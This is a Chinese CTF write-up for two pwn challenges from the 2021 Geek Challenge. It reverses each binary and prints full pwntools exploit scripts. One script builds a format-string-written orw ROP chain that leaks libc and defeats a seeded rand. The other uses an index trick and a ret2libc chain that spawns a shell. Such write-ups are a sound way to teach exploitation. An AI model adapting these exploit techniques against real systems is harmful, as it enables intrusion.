2021极客大挑战新手赛部分pwn题...

【pwn】2021 极客大挑战(部分)

1、pwn777

0x1

QQ图片20211028151233

怎么说呢,这题就是硬用fmt写rop链。

不过也是第一次见到这种fmt,也算是见了新题型了。

0x2

我们打开IDA进行逆向分析

就俩主要函数,我就当第一关和第二关吧

image-20211028151642024

先进入game函数,发现可以通过buf覆盖seed的后32位,srand这个函数的参数是int型,所以我们这里可以通过buf覆盖seed,然后导入ctypes库,使用题目给的libc进行获取随机数,重复10次就可以了。

image-20211028151726202

0x3

第二关就有点自由了,这种自由就是看你怎么想到攻击点了

首先是判断buf这个bss段的前0xf位是否是jiaraniloveyou~这个字符串,是的话就break循环,不是就一直fmt函数

image-20211028151935044

然后是fmt函数,这里有个自己写的myread函数,我也没管,就是可以给buf这里写入0x288的数据,碰到\n结束读取,之后就是核心的fmt了

image-20211028151943159

0x4

那么以上如何利用呢?

我们先更改seed导入c库进行随机数窃取,第一关pass

第二关我们先读stack上的几个地址,读到一个__libc_start_main泄露libc地址,然后泄露栈地址。

之后就是对最后while循环break的那个ret_addr进行rop,这里很ex的一点就是需要fmt很多次,并且需要先给栈上的一个地址写入指向一个目标地址,我们再对这个地址的指向地址进行地址覆写。

反正就是硬调调出来的,花了一晚上了的时间。

一开始是想往buf段写shellcode,或者rop,最后ret_addr指向buf上我们的shellcode或者rop,后面发现这个buf的bss没有可执行权限,所以最后决定在stack上写rop

还有,这个程序开了沙箱,ban了execve,所以最后要用orw来输出flag。

image-20211028152802246

get flag

image-20211028152840107

exp

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2021/10/26 16:36:09
# -----------------------------------

from pwn import *
from LibcSearcher import *
import sys, subprocess, warnings, os
from ctypes import *

def ret2libc(addr,func,binary=null):
    libc         = LibcSearcher(func,addr)               if binary == null else binary
    libc.address = addr - libc.dump(func)                if binary == null else addr-libc.sym[func]
    system       = libc.address+libc.dump('system')      if binary == null else libc.sym['system']
    binsh        = libc.address+libc.dump('str_bin_sh')  if binary == null else next(libc.search(b'/bin/sh'))
    leak('libc_base',libc.address)
    leak('system',system)
    leak('binsh',binsh)
    return(system,binsh)

def hack(pwn):
    global io,binary,libc
    times = 0
    while True:
        try:
            times += 1
            clear()
            info(f'time --> {times}')
            pwn()
        except:
            io.close()
            io = getprocess()

def init(binary):
    global arglen, elf, path , libc, context, io
    arglen = len(sys.argv)
    warnings.filterwarnings('ignore')
    context.terminal = ['gnome-terminal','-x', 'bash','-c']
    elf = ELF(binary)
    # path = libcpath(binary)
    # libc = ELF(path)
    # libc.path = path
    context.arch = elfbit(binary)
    io = getprocess()

s           =       lambda data                       : io.send(data)
sa          =       lambda rv,data                    : io.sendafter(rv,data)
sl          =       lambda data                       : io.sendline(data)
sla         =       lambda rv,data                    : io.sendlineafter(rv,data)
r           =       lambda num                        : io.recv(num)
rl          =       lambda keepends=True              : io.recvline(keepends)
ru          =       lambda data,drop=True,time=null   : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia          =       lambda                            : io.interactive()
l32         =       lambda                            : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64         =       lambda                            : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32        =       lambda data                       : u32(data.ljust(4,b'\x00'))
uu64        =       lambda data                       : u64(data.ljust(8,b'\x00'))
i16         =       lambda data                       : int(data,16)
leak        =       lambda name,addr                  : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info        =       lambda data                       : log.info(f'\033[36m{data}\033[0m')
pau         =       lambda                            : pause() if DEBUG else null
dbg         =       lambda point=null                 : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null
og          =       lambda path=null                  : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg          =       lambda binary,only,grep           : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc     =       lambda leak,func                  : leak - libc.sym[func]
elfbit      =       lambda binary                     : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath    =       lambda binary                     : subprocess.check_output(['ldd',binary]).decode().replace('	', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce       =       lambda binary,libc=null           : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess  =       lambda                            : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear       =       lambda                            : os.system('clear')

# context.log_level='debug'
DEBUG  = 1
GLIBC  = 1
binary = './pwn'
init(binary)
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
libc.path = "/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"

def pwn():
    payload = p64(0xdeadbeef)+p64(0)*2 + p32(0)
    sla("name",payload)
    c = cdll.LoadLibrary(libc.path)
    c.srand(0)
    for i in range(10):
        sla("number:",str(c.rand()))    

    sl("%13$p%p%6$p")
    ru("0x")
    libc.address = i16(r(12)) - (0x7fed9a1e0840 - 0x7fed9a1c0000)
    leak("base",libc.address)

    ru("0x")
    buf_addr = i16(r(12)) - 0x7
    leak("buf_addr",buf_addr)
    buf_offset = int("0x"+hex(buf_addr)[-4:],16)
    leak("buf_offset",buf_offset)
    pie = buf_addr - (0x55db67b86064-0x55db67b82000)
    leak("pie",pie)
    ru("0x")
    stack = i16(r(12)) + 0x8
    leak("stack",stack)
    stack_offset = int("0x"+hex(stack)[-2:],16)
    leak("stack_offset",stack_offset)
    
    # pop rdi ret
    pop_rdi = pie + (0x55f731e05713-0x55f731e04000)
    pop_rdi_offset = int("0x"+hex(pop_rdi)[-4:],16)
    sl(f"%{stack_offset}c%6$hhn")
    sl(f"%{pop_rdi_offset}c%10$hn")
    
    # 0
    sl(f"%{stack_offset+8}c%6$hhn")
    sl("%10$n")
    sl(f"%{stack_offset+8+4}c%6$hhn")
    sl("%10$n")
    
    # pop rdx ret
    pop_rdx = next(libc.search(asm("pop rdx; ret")))
    pop_rdx_offset = int("0x"+hex(pop_rdx)[-4:],16)
    pop_rdx_offset2 = int("0x"+hex(pop_rdx)[8:10],16)

    sl(f"%{stack_offset+8*2}c%6$hhn")
    sl(f"%{pop_rdx_offset}c%10$hn")
    sl(f"%{stack_offset+8*2+2}c%6$hhn")
    sl(f"%{pop_rdx_offset2}c%10$hhn")
    
    # 0x100
    sl(f"%{stack_offset+8*3}c%6$hhn")
    sl("%256c%10$n")
    
    # pop rsi
    pop_rsi = next(libc.search(asm("pop rsi; ret")))
    pop_rsi_offset3 = int("0x"+hex(pop_rsi)[2:6],16)
    pop_rsi_offset2 = int("0x"+hex(pop_rsi)[6:10],16)
    pop_rsi_offset1 = int("0x"+hex(pop_rsi)[-4:],16)
    sl(f"%{stack_offset+8*4}c%6$hhn")
    sl(f"%{pop_rsi_offset1}c%10$hn")
    sl(f"%{stack_offset+8*4+2}c%6$hhn")
    sl(f"%{pop_rsi_offset2}c%10$hn")
    sl(f"%{stack_offset+8*4+4}c%6$hhn")
    sl(f"%{pop_rsi_offset3}c%10$hn")
    
    # target_addr
    target_addr = stack+56
    target_offset3 = int("0x"+hex(target_addr)[2:6],16)
    target_offset2 = int("0x"+hex(target_addr)[6:10],16)
    target_offset1 = int("0x"+hex(target_addr)[-4:],16)
    sl(f"%{stack_offset+8*5}c%6$hhn")
    sl(f"%{target_offset1}c%10$hn")
    sl(f"%{stack_offset+8*5+2}c%6$hhn")
    sl(f"%{target_offset2}c%10$hn")
    sl(f"%{stack_offset+8*5+4}c%6$hhn")
    sl(f"%{target_offset3}c%10$hn")
    
    # read
    read_addr = libc.sym["read"]
    read_offset1 = int("0x"+hex(read_addr)[-4:],16)
    read_offset2 = int("0x"+hex(read_addr)[6:10],16)
    read_offset3 = int("0x"+hex(read_addr)[2:6],16)
    sl(f"%{stack_offset+8*6}c%6$hhn")
    sl(f"%{read_offset1}c%10$hn")
    sl(f"%{stack_offset+8*6+2}c%6$hhn")
    sl(f"%{read_offset2}c%10$hn")
    sl(f"%{stack_offset+8*6+4}c%6$hhn")
    sl(f"%{read_offset3}c%10$hn")
    
    # jiaran
    sl("jiaraniloveyou~")
    
    # orw
    flag_addr = target_addr + 0x80
    open_addr = libc.sym["open"]
    puts_addr = libc.sym["puts"]
    read_addr = libc.sym["read"]
    pop_rdi = next(libc.search(asm("pop rdi; ret")))
    pop_rsi = next(libc.search(asm("pop rsi; ret")))
    pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret")))
    orw = flat([
        pop_rdi, flag_addr, pop_rsi, 0, open_addr,
        pop_rdi, 3, pop_rsi, flag_addr, pop_rdx__rbx_ret, 0x100, 0, read_addr,
        pop_rdi, flag_addr, puts_addr
    ])+ b"flag\x00"
    s(orw)
    
    ru("jiaraniloveyou~")
pwn()

ia()

2、ret2baby

0x1

20211105140248

0x2

这题分为两部分,第一部分如何进入栈溢出?第二部分就是简单的rop构造执行system("/bin/sh")

分析主要的game函数,让我们输入a1,然后再输入number[a1],如果number[a1] == magic_number,那么就可以进行scanf的栈溢出。

image-20211105173010726

我们动调看一下number的分布,可以看到number[20]就是magic_number,这样我们第一次输入number[20]=0,然后下次rand不管是多少,都是0 == 0,这样就进入了scanf函数

image-20211105173317823

之后就是基础的rop链的构造

0x3

exp

#!/usr/bin/python
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2021/11/05 17:06:57
# -----------------------------------

from pwn import *
from ctypes import *
from LibcSearcher import *
import sys, subprocess, warnings, os

def ret2libc(addr,func,binary=null):
    libc         = LibcSearcher(func,addr)               if binary == null else binary
    libc.address = addr - libc.dump(func)                if binary == null else addr-libc.sym[func]
    system       = libc.address+libc.dump('system')      if binary == null else libc.sym['system']
    binsh        = libc.address+libc.dump('str_bin_sh')  if binary == null else next(libc.search(b'/bin/sh'))
    leak('libc_base',libc.address)
    leak('system',system)
    leak('binsh',binsh)
    return(system,binsh)

def hack(pwn):
    global io,binary,libc
    times = 0
    while True:
        try:
            times += 1
            clear()
            info(f'time --> {times}')
            pwn()
        except:
            io.close()
            io = getprocess()

def init(binary):
    global arglen, elf, path , libc, context, io, Clib
    arglen = len(sys.argv)
    warnings.filterwarnings('ignore')
    context.terminal = ['gnome-terminal','-x', 'bash','-c']
    elf = ELF(binary)
    path = libcpath(binary)
    libc = ELF(path)
    libc.path = path
    Clib = cdll.LoadLibrary(libc.path) if context.arch == 'amd64' else null
    context.arch = elfbit(binary)
    io = getprocess()

s           =       lambda data                       : io.send(data)
sa          =       lambda rv,data                    : io.sendafter(rv,data)
sl          =       lambda data                       : io.sendline(data)
sla         =       lambda rv,data                    : io.sendlineafter(rv,data)
r           =       lambda num                        : io.recv(num)
rl          =       lambda keepends=True              : io.recvline(keepends)
ru          =       lambda data,drop=True,time=null   : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia          =       lambda                            : io.interactive()
l32         =       lambda                            : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64         =       lambda                            : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32        =       lambda data                       : u32(data.ljust(4,b'\x00'))
uu64        =       lambda data                       : u64(data.ljust(8,b'\x00'))
i16         =       lambda data                       : int(data,16)
leak        =       lambda name,addr                  : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info        =       lambda data                       : log.info(f'\033[36m{data}\033[0m')
pau         =       lambda                            : pause() if DEBUG else null
dbg         =       lambda point=null                 : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null
og          =       lambda path=null                  : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg          =       lambda binary,only,grep           : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc     =       lambda leak,func                  : leak - libc.sym[func]
elfbit      =       lambda binary                     : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath    =       lambda binary                     : subprocess.check_output(['ldd',binary]).decode().replace('	', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce       =       lambda binary,libc=null           : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess  =       lambda                            : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear       =       lambda                            : os.system('clear')

# context.log_level='debug'
DEBUG  = 1
GLIBC  = 1
binary = './ret2'
init(binary)

libc = ELF("./libc-2.27.so")

sla("please input your position","20")
sla("plz input your value","0")
ru("0x")
system_addr = i16(r(12))
libc.address = system_addr - libc.sym["system"]
leak("libc_base",libc.address)
binsh_addr = next(libc.search(b"/bin/sh"))
pop_rdi_ret = next(libc.search(asm("pop rdi; ret")))
ret = next(libc.search(asm("ret")))

payload = b"b"*0x12 + b"woodwood" + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sl(payload)

# dbg()

ia()

image-20211105174030959